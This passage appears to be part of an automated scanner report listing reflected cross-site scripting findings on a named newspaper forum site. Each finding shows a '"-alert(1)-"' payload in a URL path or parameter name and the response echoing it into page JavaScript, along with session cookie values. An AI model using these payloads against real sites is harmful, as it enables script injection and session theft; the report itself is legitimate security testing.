Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic6ef8c"-alert(1)-"b016d693cff/al-qaida-is-us-puppet";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageNam
...[SNIP]...

1.53. http://forums.mercurynews.com/topic/al-qaida-is-us-puppet [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/al-qaida-is-us-puppet

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9afde"-alert(1)-"410d6a4b262 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/al-qaida-is-us-puppet9afde"-alert(1)-"410d6a4b262 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:27 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:51 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/al-qaida-is-us-puppet9afde"-alert(1)-"410d6a4b262";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.54. http://forums.mercurynews.com/topic/al-qaida-is-us-puppet [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/al-qaida-is-us-puppet

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83c90"-alert(1)-"f57460e9cf9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/al-qaida-is-us-puppet?83c90"-alert(1)-"f57460e9cf9=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:09 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:33 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 98974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
f (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/al-qaida-is-us-puppet?83c90"-alert(1)-"f57460e9cf9=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.55. http://forums.mercurynews.com/topic/bp-oil-spill-was-created-to-push-war-on-iran [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/bp-oil-spill-was-created-to-push-war-on-iran

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d738f"-alert(1)-"6fbedbd10eb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topicd738f"-alert(1)-"6fbedbd10eb/bp-oil-spill-was-created-to-push-war-on-iran HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:12 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:36 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topicd738f"-alert(1)-"6fbedbd10eb/bp-oil-spill-was-created-to-push-war-on-iran";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURC
...[SNIP]...

1.56. http://forums.mercurynews.com/topic/bp-oil-spill-was-created-to-push-war-on-iran [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/bp-oil-spill-was-created-to-push-war-on-iran

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e2ed"-alert(1)-"68b78d5cb8c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/bp-oil-spill-was-created-to-push-war-on-iran1e2ed"-alert(1)-"68b78d5cb8c HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:21 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:45 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ned') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/bp-oil-spill-was-created-to-push-war-on-iran1e2ed"-alert(1)-"68b78d5cb8c";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.57. http://forums.mercurynews.com/topic/bp-oil-spill-was-created-to-push-war-on-iran [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/bp-oil-spill-was-created-to-push-war-on-iran

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbc8e"-alert(1)-"7edf3fe785f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/bp-oil-spill-was-created-to-push-war-on-iran?dbc8e"-alert(1)-"7edf3fe785f=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:00 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:24 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 32485

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ed') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/bp-oil-spill-was-created-to-push-war-on-iran?dbc8e"-alert(1)-"7edf3fe785f=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.58. http://forums.mercurynews.com/topic/ferret-theory-lv [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/ferret-theory-lv

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e534b"-alert(1)-"d6330c89b46 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topice534b"-alert(1)-"d6330c89b46/ferret-theory-lv HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:02 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:26 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topice534b"-alert(1)-"d6330c89b46/ferret-theory-lv";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s
...[SNIP]...

1.59. http://forums.mercurynews.com/topic/ferret-theory-lv [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/ferret-theory-lv

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf2d6"-alert(1)-"4e7735b0a0d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/ferret-theory-lvcf2d6"-alert(1)-"4e7735b0a0d HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:12 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:36 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
pt">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/ferret-theory-lvcf2d6"-alert(1)-"4e7735b0a0d";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.60. http://forums.mercurynews.com/topic/ferret-theory-lv [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/ferret-theory-lv

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7fe24"-alert(1)-"022a6eab7a3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/ferret-theory-lv?7fe24"-alert(1)-"022a6eab7a3=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:51 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:15 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
t">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/ferret-theory-lv?7fe24"-alert(1)-"022a6eab7a3=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.61. http://forums.mercurynews.com/topic/oil-and-iran-war [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/oil-and-iran-war

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2deab"-alert(1)-"4a706fc981a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic2deab"-alert(1)-"4a706fc981a/oil-and-iran-war HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:14 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:38 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic2deab"-alert(1)-"4a706fc981a/oil-and-iran-war";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s
...[SNIP]...

1.62. http://forums.mercurynews.com/topic/oil-and-iran-war [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/oil-and-iran-war

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96781"-alert(1)-"1dccca72dc8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/oil-and-iran-war96781"-alert(1)-"1dccca72dc8 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:29 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:53 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
pt">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/oil-and-iran-war96781"-alert(1)-"1dccca72dc8";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.63. http://forums.mercurynews.com/topic/oil-and-iran-war [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/oil-and-iran-war

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 195d3"-alert(1)-"bbdb9078104 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/oil-and-iran-war?195d3"-alert(1)-"bbdb9078104=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:01 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:25 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23342

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
t">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/oil-and-iran-war?195d3"-alert(1)-"bbdb9078104=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.64. http://forums.mercurynews.com/topic/oil-price-and-iran-war [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/oil-price-and-iran-war

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bdef6"-alert(1)-"abaffde0a85 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topicbdef6"-alert(1)-"abaffde0a85/oil-price-and-iran-war HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
